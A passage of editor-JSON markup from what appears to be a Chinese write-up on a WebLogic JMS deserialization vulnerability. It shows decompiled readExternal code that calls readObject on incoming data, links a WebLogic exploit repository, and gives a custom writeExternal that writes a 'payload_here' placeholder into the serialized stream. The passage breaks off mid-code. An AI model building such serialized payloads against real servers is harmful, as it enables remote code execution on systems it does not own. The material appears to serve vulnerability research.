var1.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lFar-1673852880322&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QVQO-1673852880321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var3 = (byte)(var2 &amp; 127);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hGTa-1673852880324&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nk95-1673852880323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var3 &gt;= 1 &amp;&amp; var3 &lt;= 3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G5WF-1673852880326&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hImJ-1673852880325&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        switch (var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zTyQ-1673852880328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vpob-1673852880327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5djk-1673852880330&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;piWI-1673852880329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OvgL-1673852880332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dwGN-1673852880331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                BufferInputStream var4 = this.payload.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8GQ9-1673852880334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Uucs-1673852880333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                ObjectInputStream var5 = new ObjectInputStream(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QKeu-1673852880336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xsHo-1673852880335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setBodyWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZQL2-1673852880338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T30b-1673852880337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setPropertiesWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1CSo-1673852880340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zAUh-1673852880339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nyer-1673852880342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vt36-1673852880341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FW1M-1673852880344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BVe3-1673852880343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6TYg-1673852880346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbPb-1673852880345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.writeObject(var5.readObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qibw-1673852880348&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tv6p-1673852880347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EEms-1673852880350&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I58J-1673852880349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (EOFException var9) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSqw-1673852880352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;adT0-1673852880351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s3bD-1673852880354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IpRZ-1673852880353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bq7j-1673852880356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vIjp-1673852880355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.setPropertiesWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eR0P-1673852880359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wNP8-1673852880358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N9W-1673852880361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iBD6-1673852880360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.payload = var7;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MuTt-1673852880363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8xf-1673852880362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (JMSException var8) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6uXF-1673852880365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;svmI-1673852880364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        JMSClientExceptionLogger.logStackTrace(var8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TBVb-1673852880367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XCHk-1673852880366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5YRW-1673852880369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a1Fc-1673852880368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (MessageNotWriteableException var10) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQu3-1673852880371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h59x-1673852880370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var10);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6nEU-1673852880373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RPlg-1673852880372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (javax.jms.MessageFormatException var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVCj-1673852880375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MNVh-1673852880374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KvPl-1673852880377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r51f-1673852880376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (JMSException var12) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u1nM-1673852880379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kwS8-1673852880378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var12);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSB6-1673852880381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jceO-1673852880380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N939-1673852880383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9xNw-1673852880382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mMS4-1673852880385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4FkG-1673852880384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e6D6-1673852880387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r4e3-1673852880386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if ((var2 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6qLK-1673852880389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dsSU-1673852880388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.readExternalCompressedMessageBody(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t1Tm-1673852880391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zo3a-1673852880390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zdvp-1673852880393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOPH-1673852880392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XF4E-1673852880395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGNd-1673852880394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 2:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4s03-1673852880397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cj87-1673852880396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kZPn-1673852880399&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KgdG-1673852880398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7PMw-1673852880401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dp6v-1673852880400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gV9N-1673852880403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GTPh-1673852880402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nHlB-1673852880405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mGYR-1673852880404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        throw JMSUtilities.versionIOException(var3, 1, 3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3IU-1673852880407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ssOZ-1673852880406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iUrg-1673852880409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3F0Y-1673852880408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C3Pj-1673852863478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lJXu-1673852863476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;etN2-1673852427732&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rsFE-1673852427730&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考项目代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N7A-1673853031878&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;egiI-1673853031876&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;L40Y-1673853162645&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bHt7-1673853162644&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/zhzhdoai/Weblogic_Vuln&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YNIP-1673853162646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zZNu-1673853163816&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;n9JY-1673853163815&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;自实现一个writeExternal逻辑：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2IZl-1673853200645&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6DW4-1673853200599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EWgV-1673853200598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZbOs-1673853200601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PRpa-1673853200600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;96bl-1673853200603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zQRi-1673853200602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;scSg-1673853200605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rzOb-1673853200604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ObjectOutputStream var3 = new ObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2s3w-1673853200607&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G2fH-1673853200606&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;h1pq-1673853200609&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G4qo-1673853200608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1984-1673853200611&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZWAZ-1673853200610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(\&#34;payload_here\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;67cP-1673853200613&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yarE-1673853200612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B0zY-1673853200615&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1IVQ-1673853200614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (IllegalAccessException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2ZGv-1673853200617&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ryp-1673853200616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fr5M-1673853200619&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ea6y-1673853200618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InvocationTargetException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xkCI-1673853200621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOrX-1673853200620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Oed7-1673853200623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iMhG-1673853200622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (InstantiationException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLQE-1673853200625&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lXNX-1673853200624&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rwfb-1673853200627&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;paeR-1673853200626&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (NoSuchMethodException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7O0f-1673853200630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WtDq-1673853200628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NHvl-1673853200632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UqN6-1673853200631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } catch (ClassNotFoundException e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Y6hx-1673853200634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1jAm-1673853200633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DLCP-1673853200636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sour-1673853200635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFX6-1673853200638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q78G-1673853200637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte[] var5 = 